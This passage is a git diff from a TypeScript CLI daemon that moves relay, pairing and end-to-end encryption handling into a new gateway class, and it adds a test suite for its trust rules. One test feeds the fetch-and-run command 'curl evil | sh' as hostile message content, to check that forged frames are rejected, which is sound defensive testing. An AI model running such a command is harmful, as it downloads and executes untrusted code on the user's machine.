*/+ commanderJoined(): void+ /** The backend's word on this machine: its name, the account's private grid. A key that is absent is+ * unchanged; null is "none". */+ meta(meta: { name?: string | null; gridName?: string | null }): void+ /** The account's other changes, for the windows on this computer. */+ notice(notice: BackendNotice): void+ /** This machine was removed from the account, or its session ended: stop for good. */+ revoked(): void+ /** Another computer holds this machine: stop for good, keeping the session. */+ busy(): void+}+/** Each port is filled by the service that owns it when that service starts, and is null while the* service is off: the core never waits on one. */export interface CorePorts {diff --git a/cli/src/core/main.ts b/cli/src/core/main.tsindex bd29862fe..2179b3bf9 100644--- a/cli/src/core/main.ts+++ b/cli/src/core/main.ts@@ -149,6 +149,7 @@ import { localSocketPath, refuseServedDataFolder, type LocalSocketServer } fromimport { saveDaemonPort } from '../lib/daemonEndpoint.js'import { commandBarService } from '../lib/commandBar.js'import { BackendSocket, isLocalClientId } from '../backendSocket.js'+import { RelayGateway } from '../gateway/gateway.js'import { AutonomousDeviceService } from '../lib/autonomous-device/service.js'import { autonomousDeviceLocalRequest } from '../lib/autonomous-device/localApi.js'import { attachLocalWsServer, LOCAL_WS_PATH, LOCAL_WS_PROTOCOL_VERSION } from '../localWsServer.js'@@ -797,17 +798,22 @@ async function runForeground(session: AuthSession | null): Promise<void> {try { renameSync(identityFile, `${identityFile}.removed-${Date.now()}`) } catch { /* already gone */ }}const autonomousEnv = session?.autonomousEnv ?? env.AUTONOMOUS_ENV- const backend = new BackendSocket(session?.machineId ?? computerId(), auth, (connected) => {+ const backend = new BackendSocket(session?.machineId ?? computerId(), (connected) => {if (!connected) returnconst sessions = registry.advertised()console.log(`[cli] connected · ${sessions.length} agent(s) registered`)void fullReconcile(true).catch((err) => {console.error('[runtime-profile] connect reconcile failed:', err instanceof Error ? err.message : err)})- }, computerId(), autonomousEnv)+ })backendRef = backend// Nothing is answered until start-up is done (see the end of this function).backend.holdRequests()+ // The relay and its E2EE (gateway/gateway.ts): the backend link, the sessions and the keys, which every+ // remote client's frames go through, held at the same gate. The socket hears it through `fromGateway`+ // and speaks to it in the clear; it holds no key of its own.+ const gateway = new RelayGateway({ machineId: backend.machineId, auth, computerId: computerId(), autonomousEnv, core: backend.fromGateway })+ backend.useGateway(gateway)daemonBoot.openRequests = () => backend.openRequests()const teams: TeamsPort = {prepare: (...args) => ports.teams?.prepare(...args) ?? (() => {}),@@ -868,7 +874,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {appWindowForeground && openPaneAgents.has(agentId)const cableWatchingLocal = (): boolean => cableRef?.isConnected === true- const deviceIsWatching = (): boolean => backend.hasCommander() || cableWatchingLocal() || backend.autonomousDeviceConnected()+ const deviceIsWatching = (): boolean => backend.hasCommander() || cableWatchingLocal() || gateway.autonomousDeviceConnected()/** Anyone who can DRAW a question: a device, a cabled dial, or a desktop window on this computer. */const someoneCanAnswer = (): boolean => deviceIsWatching() || backend.hasLocalClient()const terminalStreams = new TerminalStreamManager({@@ -882,9 +888,10 @@ async function runForeground(session: AuthSession | null): Promise<void> {// that label is one of the placeholders pairing hands out — those name nothing.describeClient: (connId) => {if (isLocalClientId(connId)) return { kind: 'desktop', name: terminalHintMachineName() }- const label = backend.e2ee.sessionLabel(connId)+ const client = backend.remoteClient(connId)+ const label = client?.labelif (!label || GENERIC_PAIR_LABELS.has(label)) return null- return { kind: backend.e2ee.sessionRole(connId) === 'device' ? 'device' : 'web', name: label }+ return { kind: client.role === 'device' ? 'device' : 'web', name: label }},streamingAvailable: tmuxBackend != null,onScopedInput: (id, bytes, tabId, pasted) => teams.raw(id, bytes, tabId, pasted),@@ -1550,14 +1557,14 @@ async function runForeground(session: AuthSession | null): Promise<void> {discover: async () => ({ devices: await runningDevicePart(autonomousDeviceDirect, 'Wi-Fi device link').discover() }),pairStart: ({ code, device }) => runningDevicePart(autonomousDeviceDirect, 'Wi-Fi device link').pair(device, code),pairStatus: () => {- const pending = backend.pendingPair()+ const pending = gateway.pendingPair()return pending?.role === 'device' ? { state: pending.active ? 'running' : 'waiting', pairId: pending.pairId, deviceLabel: pending.label, expiresAt: pending.expiresAt } : { state: 'idle' }},- list: () => ({ devices: backend.listPairs().filter(p => p.role === 'device').map(p => ({ ...p, id: p.fingerprint })) }),- status: () => ({ transport: 'direct', connected: backend.directAutonomousDeviceSessions() > 0, paired: backend.listPairs().filter(p => p.role === 'device').length, sessions: backend.directAutonomousDeviceSessions(), proto: 1 }),+ list: () => ({ devices: gateway.listPairs().filter(p => p.role === 'device').map(p => ({ ...p, id: p.fingerprint })) }),+ status: () => ({ transport: 'direct', connected: gateway.directAutonomousDeviceSessions() > 0, paired: gateway.listPairs().filter(p => p.role === 'device').length, sessions: gateway.directAutonomousDeviceSessions(), proto: 1 }),revoke: ({ id }) => {- if (!backend.listPairs().some(p => p.role === 'device' && p.fingerprint === id)) throw Object.assign(new Error('Device pairing not found'), { code: 'UNKNOWN_DEVICE' })- const result = backend.revoke(id)+ if (!gateway.listPairs().some(p => p.role === 'device' && p.fingerprint === id)) throw Object.assign(new Error('Device pairing not found'), { code: 'UNKNOWN_DEVICE' })+ const result = gateway.revoke(id)if (!result.ok) throw Object.assign(new Error(result.error), { code: result.error })return { revoked: 1 }},@@ -1574,7 +1581,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {onTurnStop: turnHooks.onTurnStop,// `harness pair <code>` → run CPace toward the waiting browser; map the result to an HTTP outcome.onPair: async (code) => {- const r = await backend.pair(code)+ const r = await gateway.pair(code)if (r.ok) return { status: 200, body: { label: r.label, fingerprint: r.fingerprint } }const codeMap: Record<string, number> = {NO_INTENT: 409, EXPIRED: 409, CODE_MISMATCH: 403, BACKEND_DOWN: 503,@@ -1582,23 +1589,23 @@ async function runForeground(session: AuthSession | null): Promise<void> {}return { status: codeMap[r.error] ?? 400, body: { error: r.error } }},- onListPairs: () => ({ status: 200, body: { pairs: backend.listPairs() } }),+ onListPairs: () => ({ status: 200, body: { pairs: gateway.listPairs() } }),onRevoke: (id) => {- const r = backend.revoke(id)+ const r = gateway.revoke(id)if (r.ok) return { status: 200, body: { label: r.label, fingerprint: r.fingerprint } }return { status: r.error === 'AMBIGUOUS' ? 409 : 404, body: { error: r.error } }},- onRevokeAll: () => ({ status: 200, body: backend.revokeAll() }),+ onRevokeAll: () => ({ status: 200, body: gateway.revokeAll() }),// `harness remote-password set|clear|status` — mutate/read the running daemon's live E2EE state// directly, so `harness link connect` from another machine sees a just-set password immediately.onSetRemotePassword: async (password) => {- const r = await backend.setRemotePassword(password)+ const r = await gateway.setRemotePassword(password)return { status: 200, body: r }},- onClearRemotePassword: () => { backend.clearRemotePassword(); return { status: 200, body: { ok: true } } },- onRemotePasswordStatus: () => ({ status: 200, body: backend.remotePasswordStatus() }),+ onClearRemotePassword: () => { gateway.clearRemotePassword(); return { status: 200, body: { ok: true } } },+ onRemotePasswordStatus: () => ({ status: 200, body: gateway.remotePasswordStatus() }),onTrustLinkedPeer: (peer) => {- backend.trustPeer({ ...peer, kind: 'machine' })+ gateway.trustPeer({ ...peer, kind: 'machine' })groupSyncer?.linked({ ...peer, kind: 'machine' })return { status: 200, body: { ok: true } }},@@ -1669,7 +1676,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {webUrl: env.WEB_URL,connected: backend.isConnected(),deviceTransportConnected: backend.hasCommander(),- deviceE2eeConnected: backend.deviceE2eeConnected(),+ deviceE2eeConnected: gateway.deviceE2eeConnected(),uptimeSec: Math.round((Date.now() - startedAt) / 1000),// The daemon as everything outside knows it: the pid file's pid, which `harness stop` signals// and the desktop app judges the owner of. Under a master that is the master's. A core's pid@@ -1693,7 +1700,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {// gone in a second; one that stays here names the store that is slow, which no other field does.attaching: attaches.attaching(),attachQueue: attaches.queued(),- fingerprint: backend.e2eeFingerprint(),+ fingerprint: gateway.fingerprint(),config: {watching: `${terminalConfig.backends.join(' + ')} terminals across all supported engines`,terminalBackends: terminalConfig.backends,@@ -1716,8 +1723,8 @@ async function runForeground(session: AuthSession | null): Promise<void> {// When the conversation last moved, as in every agent frame — not the row's `touchedAt`.updatedAt: await lastActivityAt(s),}))),- pairs: backend.listPairs(),- pending: backend.pendingPair(),+ pairs: gateway.listPairs(),+ pending: gateway.pendingPair(),}),onLogs: () => {try { return readFileSync(LOG_FILE, 'utf-8').split('\n').slice(-120).join('\n') } catch { return '' }@@ -1794,9 +1801,9 @@ async function runForeground(session: AuthSession | null): Promise<void> {store: new TrustGroupStore(),peers: new MachinePeerStore(),self: groupSelf,- trust: (peer) => backend.trustPeer(peer),- untrust: (pub) => { backend.untrustPeer(pub) },- paired: () => backend.pairedPeers(),+ trust: (peer) => gateway.trustPeer(peer),+ untrust: (pub) => { gateway.untrustPeer(pub) },+ paired: () => gateway.pairedPeers(),request: relayRequester(relayPool, () => readAuthSession()?.autonomousEnv ?? env.AUTONOMOUS_ENV),dropSessions: (machineId) => { relayPool.invalidate(machineId); relayPool.invalidateIsolated(machineId) },suspended: () => new Set(devLogSyncer?.suspendedKeys() ?? []),@@ -1807,9 +1814,9 @@ async function runForeground(session: AuthSession | null): Promise<void> {},log: (line) => console.log(line),})- backend.groupSync = groupSyncer- backend.onPeerLinked = (peer) => groupSyncer?.linked(peer)- backend.onUnpaired = (pub) => {+ gateway.groupSync = groupSyncer+ gateway.onPeerLinked = (peer) => groupSyncer?.linked(peer)+ gateway.onUnpaired = (pub) => {groupSyncer?.unpaired(pub)// Unpairing a device here takes it out of the account's log too — or the log would trust it again.void devLogSyncer?.remove(pub)@@ -1831,7 +1838,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {return { acct: data.acct, head: { seq: head.seq, hash: head.hash }, entries: data.entries }},append: async (entry) => {- const p = await backend.appendDeviceLog(entry as unknown as Record<string, unknown>)+ const p = await gateway.appendDeviceLog(entry as unknown as Record<string, unknown>)if (!p) return nullconst head = p.head as { seq?: unknown; hash?: unknown } | undefinedconst parsedHead = typeof head?.seq === 'number' && typeof head.hash === 'string' ? { seq: head.seq, hash: head.hash } : undefined@@ -1842,7 +1849,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {drop: (pub) => { groupSyncer?.remove(pub) },// Snapshotted once, when this machine joins the log: what it already trusts then is never news.trustedNow: () => [...new Set([- ...backend.pairedPeers().map((p) => p.identityPub),+ ...gateway.pairedPeers().map((p) => p.identityPub),...relayPeers.list().map((p) => p.pub),...(groupSyncer?.roster().members.map((m) => m.pub) ?? []),])],@@ -1878,23 +1885,23 @@ async function runForeground(session: AuthSession | null): Promise<void> {// Removed while online: the backend's `machine_revoked` arrives before this machine reads the log, and// stops it. The key is spent all the same, or the next `harness login` would come back under a banned// key and be signed out again.- backend.onDeviceRemoved = (pub) => {+ gateway.onDeviceRemoved = (pub) => {if (pub === b64e(relayIdentityStore.getIdentity().pub)) spendIdentity()}// A removal of another key under this machine id — the earlier install a reinstall waits behind — is// not this machine signed out: the log re-read that follows registers this key (deviceLogSyncer).- backend.isOwnDeviceKey = (pub) => pub === b64e(relayIdentityStore.getIdentity().pub)+ gateway.isOwnDeviceKey = (pub) => pub === b64e(relayIdentityStore.getIdentity().pub)// A removal the trust group carried in — typically `harness group remove` on a machine that predates// the log — goes into the log as well, signed by this machine, so a device that only reads the log// stops trusting that key too. A key the log no longer has is left alone.groupSyncer.onDropped = (pub) => {if (devLogSyncer?.list().members.some((m) => m.pub === pub && !m.self)) void devLogSyncer.remove(pub)}- backend.onDeviceKeysChanged = () => { void devLogSyncer?.refresh() }+ gateway.onDeviceKeysChanged = () => { void devLogSyncer?.refresh() }if (session?.machineId) {// Every time the link comes up: a sign-in from before the log existed joins it with no one doing// anything, and one that joined already only reads what it missed while offline.- backend.onLinkUp = () => { void devLogSyncer?.register() }+ gateway.onLinkUp = () => { void devLogSyncer?.register() }// The link may have come up before this line; a second register in flight is harmless. A session// from before sign-in epochs gets one first: adopted, so it never starts the device log over.void ensureSignInEpoch().catch(() => null).then(() => devLogSyncer?.register())@@ -2076,7 +2083,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {})// Every engine's hooks, pointed at the port the local server actually bound (core/engines/hooks.ts).if (!env.DISABLE_HOOK_INSTALL) installEngineHooks(hookPort, { only: env.HOOK_INSTALL_ENGINES, loginShell: loginShellEnvPromise })- backend.setDashboardPort(hookPort) // surfaced to the web (e2e_status) so it can link here to approve+ gateway.setDashboardPort(hookPort) // surfaced to the web (e2e_status) so it can link here to approveconsole.log(`[cli] local dashboard → http://127.0.0.1:${hookPort}`)// Each transcript line, through its engine's normalizer, into the funnel (core/transcripts/ingest.ts).@@ -2857,22 +2864,22 @@ async function runForeground(session: AuthSession | null): Promise<void> {answer: async (agentId, requestId, answers) => (await questions.answer({ agentId, requestId, answers, allowPermissions: false })).ok,recent: (id, n) => mirror.recent(registry.byAgent(id)?.sessionId ?? id, n),fullText: id => mirror.lastFullText(registry.byAgent(id)?.sessionId ?? id),- emit: (frame, deviceId) => backend.emitAutonomousDeviceEvent(frame, deviceId),+ emit: (frame, deviceId) => gateway.emitAutonomousDeviceEvent(frame, deviceId),}))if (appVoiceFocus) autonomousDeviceService?.appFocus(appVoiceFocus.machineId, appVoiceFocus.agentId, appVoiceFocus.connId)- if (autonomousDeviceService) backend.setAutonomousDeviceService(autonomousDeviceService)+ if (autonomousDeviceService) gateway.setAutonomousDeviceService(autonomousDeviceService)// No link without the service: a device it connected would be answered by nothing.autonomousDeviceDirect = autonomousDeviceService && startDevicePart('Wi-Fi device link', () => new AutonomousDeviceDirect({machineId: backend.machineId, label: hostname(),- receive: (connId, frame, pairing) => backend.receiveDirectDevice(connId, frame, pairing),- attach: (connId, send) => backend.attachDirectDevice(connId, send),- detach: connId => backend.detachDirectDevice(connId),- pending: () => backend.pendingPair(), pendingConnection: () => backend.e2ee.pendingConnection(),- authenticatedFingerprint: connId => { const pub = backend.e2ee.sessionIdentity(connId); return pub ? e2eeCoreFingerprint(e2eeCoreDecode(pub)) : null },- pairedFingerprint: connId => backend.pairedDirectFingerprint(connId),- pair: code => backend.pair(code), paired: () => backend.listPairs(),+ receive: (connId, frame, pairing) => gateway.receiveDirectDevice(connId, frame, pairing),+ attach: (connId, send) => gateway.attachDirectDevice(connId, send),+ detach: connId => gateway.detachDirectDevice(connId),+ pending: () => gateway.pendingPair(), pendingConnection: () => gateway.e2ee.pendingConnection(),+ authenticatedFingerprint: connId => { const pub = gateway.e2ee.sessionIdentity(connId); return pub ? e2eeCoreFingerprint(e2eeCoreDecode(pub)) : null },+ pairedFingerprint: connId => gateway.pairedDirectFingerprint(connId),+ pair: code => gateway.pair(code), paired: () => gateway.listPairs(),}, env.ADAPTER_DATA_DIR))- backend.onDirectDeviceRevoked = fp => autonomousDeviceDirect?.revoked(fp)+ gateway.onDirectDeviceRevoked = fp => autonomousDeviceDirect?.revoked(fp)autonomousDeviceDirect?.start()devicePartsBuilt = truediff --git a/cli/src/gateway/gateway.spec.ts b/cli/src/gateway/gateway.spec.tsnew file mode 100644index 000000000..4ed2635c6--- /dev/null+++ b/cli/src/gateway/gateway.spec.ts@@ -0,0 +1,214 @@+/**+ * The gateway's rules, with real keys: what used to be one class (the socket held the link, the sessions+ * and the dispatch) is two, and these are the rules that crossed between them (docs/design/2026-10-06-core-boundary-next.md,+ * step 10). Each test fails if its rule is lost in the move: who a remote client is, as the core hears it;+ * that its role, never its frame, decides whether it is the owner; that its reply goes back sealed to it+ * alone; that a throw while sealing costs the relay its frame and nothing else; and the two trust edges the+ * split made visible, a window's connection id named by the relay and the backend hub's own frames sent by+ * a process on this computer. The rest of the relay's rules are held where they always were, through the+ * socket and its gateway together (backendSocket.spec.ts).+ */+import { afterEach, describe, expect, it, vi } from 'vitest'+import type { BackendSocket } from '../backendSocket.js'+import type { Asker } from '../core/api.js'+import * as C from '../lib/e2ee/core.js'+import { TerminalBinaryKind } from '../lib/terminalBinary.js'+import { bindMessageRequest } from '../testing/socketCore.js'+import { dispatchDown, gatewayOf, relaySocket, upstreamOf } from '../testing/relaySocket.js'++/** The machine the sessions are bound to: every hello and welcome is signed over it. */+const MACHINE = 'a1b2c3d4e5f60718293a4b5c6d7e8f90'++afterEach(() => vi.restoreAllMocks())++type Frame = Record<string, unknown>++/** What the gateway queued for the relay, addressed to one connection. */+const queuedFor = (socket: BackendSocket, connId: string): Frame[] =>+ upstreamOf(socket).queue.map((item) => item.msg as { targetConnId?: string; frame?: Frame })+ .filter((msg) => msg.targetConnId === connId).map((msg) => msg.frame!)++/** A paired client with a live session on `connId`: it proves its identity with a hello and reads the+ * welcome, as the phone app does, so what it seals opens under the gateway's real session. */+async function pairedClient(socket: BackendSocket, connId: string, opts: { role?: 'web' | 'device'; label?: string } = {}) {+ const gateway = gatewayOf(socket)+ const identity = C.newIdentity()+ const pub = C.b64e(identity.pub)+ const store = (gateway.e2ee as unknown as { store: { addPaired(pub: string, label: string, at: number, role: string): void } }).store+ store.addPaired(pub, opts.label ?? 'Dee’s phone', Date.now(), opts.role ?? 'web')+ const eph = C.newEphemeral()+ await dispatchDown(socket, { type: 'e2e_hello', payload: { identityPub: pub, ephPub: C.b64e(eph.pub), sig: C.b64e(C.helloSig(identity.priv, MACHINE, eph.pub)) } }, connId)+ const welcome = queuedFor(socket, connId).find((frame) => frame.type === 'e2e_welcome')!+ const p = welcome.payload as Record<string, string>+ const keys = C.sessionKeys(eph.priv, C.b64d(p.ephPub), MACHINE, eph.pub, C.b64d(p.ephPub))+ let sent = 0+ return {+ pub,+ seal: (type: string, payload: Record<string, unknown>): Frame => ({ type, payload: C.wrapPayload(keys.c2s, 'p', sent++, type, undefined, payload) }),+ open: (frame: Frame): unknown => C.unwrapPayload(keys.s2c, (frame.payload as C.WrappedPayload).__e2e, String(frame.type), undefined),+ }+}++describe('a remote client, as the core hears it', () => {+ it('is registered with the role and label its session proved, and forgotten when the relay says it left', async () => {+ const socket = relaySocket(MACHINE)+ expect(socket.remoteClient('phone-1')).toBeNull()+ await pairedClient(socket, 'phone-1', { label: 'Dee’s phone' })+ expect(socket.remoteClient('phone-1')).toEqual({ role: 'web', label: 'Dee’s phone' })+ await dispatchDown(socket, { type: '__client_disconnected', payload: {} }, 'phone-1')+ expect(socket.remoteClient('phone-1')).toBeNull()+ await socket.stop()+ })++ it('asks as the owner only with a web session, whatever its frame says', async () => {+ const socket = relaySocket(MACHINE)+ const asked: Array<{ type: string; asker: Asker }> = []+ socket.serviceRouter = (type, _payload, asker, reply) => { asked.push({ type, asker }); reply({ ok: true }); return true }+ const phone = await pairedClient(socket, 'phone-1', { role: 'web' })+ const dial = await pairedClient(socket, 'dial-1', { role: 'device', label: 'Desk dial' })+ // A field in the payload claiming the owner's role is the sender's word; the session is the gateway's.+ await dispatchDown(socket, phone.seal('dsh_list', { requestId: 'p', owner: false }), 'phone-1')+ await dispatchDown(socket, dial.seal('dsh_list', { requestId: 'd', owner: true, local: true, role: 'web' }), 'dial-1')+ expect(asked).toEqual([+ { type: 'dsh_list', asker: { local: false, owner: true } },+ { type: 'dsh_list', asker: { local: false, owner: false } },+ ])+ await socket.stop()+ })++ it('gets its reply sealed to it alone: no other client and no window hears it', async () => {+ const socket = relaySocket(MACHINE)+ const window: Frame[] = []+ socket.registerLocalClient('local:window', { sendFrame: (frame) => { window.push(frame); return true }, sendBinary: () => true })+ socket.serviceRouter = (_type, _payload, _asker, reply) => { reply({ harnesses: ['secret-harness'] }); return true }+ const phone = await pairedClient(socket, 'phone-1')+ await pairedClient(socket, 'phone-2')+ await dispatchDown(socket, phone.seal('dsh_list', { requestId: 'r-1' }), 'phone-1')+ const replies = queuedFor(socket, 'phone-1').filter((frame) => frame.type === 'dsh_list_result')+ expect(replies).toHaveLength(1)+ expect(JSON.stringify(replies)).not.toContain('secret-harness')+ expect(phone.open(replies[0])).toEqual({ requestId: 'r-1', harnesses: ['secret-harness'] })+ expect(JSON.stringify(queuedFor(socket, 'phone-2'))).not.toContain('dsh_list_result')+ expect(JSON.stringify(upstreamOf(socket).queue.filter((item) => !(item.msg as { targetConnId?: string }).targetConnId))).not.toContain('secret-harness')+ expect(window.filter((frame) => frame.type === 'dsh_list_result')).toEqual([])+ await socket.unregisterLocalClient('local:window')+ await socket.stop()+ })++ it('whose session went while its request ran gets a bare E2EE_REQUIRED, never the answer in the clear', async () => {+ const socket = relaySocket(MACHINE)+ let answer!: (result: Record<string, unknown>) => void+ socket.serviceRouter = (_type, _payload, _asker, reply) => { answer = reply; return true }+ const phone = await pairedClient(socket, 'phone-1')+ await dispatchDown(socket, phone.seal('dsh_list', { requestId: 'r-1' }), 'phone-1')+ gatewayOf(socket).e2ee.dropSession('phone-1')+ expect(socket.remoteClient('phone-1')).toBeNull()+ answer({ harnesses: ['secret-harness'] })+ expect(queuedFor(socket, 'phone-1').filter((frame) => frame.type === 'dsh_list_result'))+ .toEqual([{ type: 'dsh_list_result', payload: { requestId: 'r-1', error: 'E2EE_REQUIRED' } }])+ await socket.stop()+ })+})++describe('sealing, guarded', () => {+ it('a throw while the gateway seals a frame costs the relay that frame, never the windows here or the caller', async () => {+ const socket = relaySocket(MACHINE)+ const window: Frame[] = []+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ socket.registerLocalClient('local:window', { sendFrame: (frame) => { window.push(frame); return true }, sendBinary: () => true })+ const e2ee = gatewayOf(socket).e2ee+ vi.spyOn(e2ee, 'wrapUp').mockImplementation(() => { throw new Error('sealing broke') })+ vi.spyOn(e2ee, 'wrapCommander').mockImplementation(() => { throw new Error('sealing broke') })+ // The event funnel sends every event of a batch in turn: one that cannot be sealed must not stop the next.+ expect(() => {+ socket.send({ type: 'turn_started', agentId: 'a1', payload: { userMessage: 'one' } })+ socket.sendCommander({ type: 'commander_event', agentId: 'a1', payload: { kind: 'processing' } })+ socket.send({ type: 'turn_ended', agentId: 'a1', payload: {} })+ }).not.toThrow()+ expect(window.map((frame) => frame.type)).toEqual(['turn_started', 'turn_ended'])+ // Said once, then counted, so a broken seal does not flood the log with one line per event.+ expect(error).toHaveBeenCalledTimes(1)+ expect(String(error.mock.calls[0][0])).toContain('sealing broke')+ // A terminal frame that cannot be sealed is one that was not sent: its stream closes, nothing throws.+ vi.spyOn(e2ee, 'wrapTarget').mockImplementation(() => { throw new Error('sealing broke') })+ vi.spyOn(e2ee, 'wrapTerminalBinary').mockImplementation(() => { throw new Error('sealing broke') })+ expect(socket.sendTerminalTo('phone-1', 'terminal_ready', { streamId: 's' })).toBe(false)+ expect(socket.sendTerminalBinaryTo('phone-1', { kind: TerminalBinaryKind.output, streamId: 's', seq: 1, compressed: false, bytes: new Uint8Array(1) })).toBe(false)+ expect(error).toHaveBeenCalledTimes(1)+ // And the relay is not wedged: once sealing works, frames go out again.+ vi.mocked(e2ee.wrapUp).mockRestore()+ socket.send({ type: 'turn_ended', agentId: 'a2', payload: {} })+ expect(upstreamOf(socket).queue.map((item) => (item.msg as { frame: Frame }).frame.agentId)).toEqual(['a2'])+ await socket.unregisterLocalClient('local:window')+ await socket.stop()+ })+})++describe('the trust edges the split made visible', () => {+ it('a process on this computer cannot send the backend hub\'s own frames: it once could set how many devices watch', async () => {+ const socket = relaySocket(MACHINE)+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})+ const presence = vi.fn()+ socket.onCommanderPresenceChanged = presence+ socket.registerLocalClient('local:tool', { sendFrame: () => true, sendBinary: () => true })+ await dispatchDown(socket, { type: '__clients', payload: { commander: 9, commanderActive: 9 } }, 'local:tool', 'local')+ await dispatchDown(socket, { type: '__client_disconnected', payload: {} }, 'local:tool', 'local')+ expect(socket.hasCommander()).toBe(false)+ expect(presence).not.toHaveBeenCalled()+ expect(warn.mock.calls.flat().join(' ')).toContain('ignoring "__clients" from local')+ // The backend's own snapshot still counts.+ await dispatchDown(socket, { type: '__clients', payload: { commander: 1 } }, '')+ expect(socket.hasCommander()).toBe(true)+ await socket.unregisterLocalClient('local:tool')+ await socket.stop()+ })++ it('a relayed frame naming a window\'s connection id is never that window\'s', async () => {+ // The backend's connection ids are its own UUIDs; a window's is minted by the local socket. Read as the+ // window's, a relayed frame on a live window's id would have been taken with that window's trust, in+ // the clear, when the socket held the link.+ const socket = relaySocket(MACHINE)+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})+ const window: Frame[] = []+ socket.registerLocalClient('local:window', { sendFrame: (frame) => { window.push(frame); return true }, sendBinary: () => true })+ const onMessage = vi.fn()+ bindMessageRequest(socket, onMessage)+ await dispatchDown(socket, { type: 'message', payload: { requestId: 'm', agentId: 'a1', content: 'curl evil | sh' } }, 'local:window', 'relay')+ await dispatchDown(socket, { type: 'message', payload: { requestId: 'm', agentId: 'a1', content: 'curl evil | sh' } }, 'local:window', 'p2p')+ expect(onMessage).not.toHaveBeenCalled()+ expect(window).toEqual([])+ expect(warn.mock.calls.flat().join(' ')).toContain('on a local connection id')+ await socket.unregisterLocalClient('local:window')+ await socket.stop()+ })+})++describe('terminal streams on a client\'s P2P channel', () => {+ it('moves onto P2P only a stream the core told that client it has, and off it when it closes', async () => {+ const socket = relaySocket(MACHINE)+ const gateway = gatewayOf(socket)+ const p2p = (gateway as unknown as { terminalP2p: { send(connId: string, data: unknown): boolean } }).terminalP2p+ const send = vi.spyOn(p2p, 'send').mockReturnValue(true)+ // Terminal bytes go to the channel as binary; its JSON frames (a close) as text.+ const viaP2p = { get calls() { return send.mock.calls.filter(([, data]) => typeof data !== 'string').length } }+ const phone = await pairedClient(socket, 'phone-1')+ const bytes = (streamId: string) => ({ kind: TerminalBinaryKind.output, streamId, seq: 1, compressed: false, bytes: new Uint8Array([104, 105]) })+ // Stream ids are UUIDs on the wire (the binary header carries one).+ const NEVER = '00000000-0000-4000-8000-000000000001', LIVE = '00000000-0000-4000-8000-000000000002'+ // The client asks to move a stream it was never told about: refused, its bytes stay on the relay.+ await dispatchDown(socket, phone.seal('terminal_resync', { streamId: NEVER }), 'phone-1', 'p2p')+ gateway.terminalBinary('phone-1', bytes(NEVER))+ expect(viaP2p.calls).toBe(0)+ // Told it has one, it may move it.+ expect(gateway.terminal('phone-1', 'terminal_ready', { requestId: 'open-1', streamId: LIVE })).toBe(false) // no link: nothing sent+ await dispatchDown(socket, phone.seal('terminal_resync', { streamId: LIVE }), 'phone-1', 'p2p')+ gateway.terminalBinary('phone-1', bytes(LIVE))+ expect(viaP2p.calls).toBe(1)+ // Closed, it is off P2P: a resync for it cannot put it back.+ gateway.terminal('phone-1', 'terminal_closed', { streamId: LIVE })+ await dispatchDown(socket, phone.seal('terminal_resync', { streamId: LIVE }), 'phone-1', 'p2p')+ gateway.terminalBinary('phone-1', bytes(LIVE))+ expect(viaP2p.calls).toBe(1)+ await socket.stop()+ })+})diff --git a/cli/src/gateway/gateway.ts b/cli/src/gateway/gateway.tsnew file mode 100644index 000000000..b6989acd4--- /dev/null+++ b/cli/src/gateway/gateway.ts@@ -0,0 +1,816 @@+/**+ * The gateway: everything between this machine and a remote client (docs/design/2026-10-06-core-boundary-next.md,+ * "Relay and E2EE — its own process", step 10). It holds the backend link (gateway/upstream.ts), the E2EE+ * manager with its sessions and keys, the terminals' P2P channels, and the Wi-Fi device's direct links,+ * which ride the same sessions. The core never sees a key: a remote client's frame reaches it opened, with+ * the role its session proved, and the core's frames for remote clients leave through here, sealed.+ *+ * Moved out of `BackendSocket` as it was (step 10, R1), still in the core's process; R2 runs it in a process+ * of its own, behind the same two interfaces (`GatewayPort`, what the core asks of it, and `GatewayEvents`,+ * what it tells the core, in core/api.ts). The rules it enforces are the ones the socket enforced, in the+ * same order and with the same words in the log: which frames only the backend may send, that a client's+ * frame is acted on only if it opens under that connection's session (default-deny), that a reply goes to+ * the requester alone and sealed, and that a content-bearing reply that cannot be sealed is a bare+ * E2EE_REQUIRED. backendSocket.spec.ts and gateway/gateway.spec.ts hold each of them.+ */+import { env } from '../config/env.js'+import type { GatewayEvents, GatewayPort, RemoteRole, RemoteTransport } from '../core/api.js'+import { deviceDump } from '../lib/autonomous-device/dump.js'+import { AutonomousDeviceRelay } from '../lib/autonomous-device/relay.js'+import type { AutonomousDeviceFrame, AutonomousDeviceService } from '../lib/autonomous-device/service.js'+import type { AuthSessionManager } from '../lib/authSession.js'+import { shouldReplayCommander } from '../lib/commanderReplay.js'+import { DEVICE_RECENT_SAFE_FRAME_BYTES, fitRecentReplyPayloadForDevice } from '../lib/deviceRecentTrim.js'+import { encryptRpcResult, rpcResultType } from '../lib/e2ee/applicationFrames.js'+import { b64d, fingerprint, isWrapped } from '../lib/e2ee/core.js'+import { E2eeManager, type LinkedPeer, type PairResult } from '../lib/e2ee/manager.js'+import { MachinePeerStore } from '../lib/e2ee/machinePeers.js'+import { logFrame, sid } from '../lib/log.js'+import { BACKEND_ONLY_DOWN_TYPES, GATEWAY_REQUEST_TYPES, isLocalClientId, logSafeType } from '../lib/relayFrames.js'+import { encodeTerminalHop, TerminalHopDirection, type TerminalBinaryClear } from '../lib/terminalBinary.js'+import {+ TerminalP2pResponderPool,+ TERMINAL_P2P_DOWN_TYPES,+ TERMINAL_P2P_SIGNAL_TYPES,+ type TerminalP2pData,+ type TerminalP2pSignal,+} from '../lib/terminalP2p.js'+import { UpstreamLink } from './upstream.js'++type Frame = Record<string, unknown>++export interface RelayGatewayOptions {+ /** Backend-resolved machine id, persisted by the SSO login preflight; in isolated unit tests, the token. */+ machineId: string+ auth?: AuthSessionManager+ computerId?: string+ autonomousEnv?: string+ /** The core, as the gateway tells it what happened. */+ core: GatewayEvents+}++export class RelayGateway implements GatewayPort {+ /** Web↔adapter E2EE: group-encrypts user events, runs the CPace pairing, holds per-conn sessions. */+ readonly e2ee: E2eeManager+ readonly machineId: string+ private readonly link: UpstreamLink+ private readonly core: GatewayEvents+ 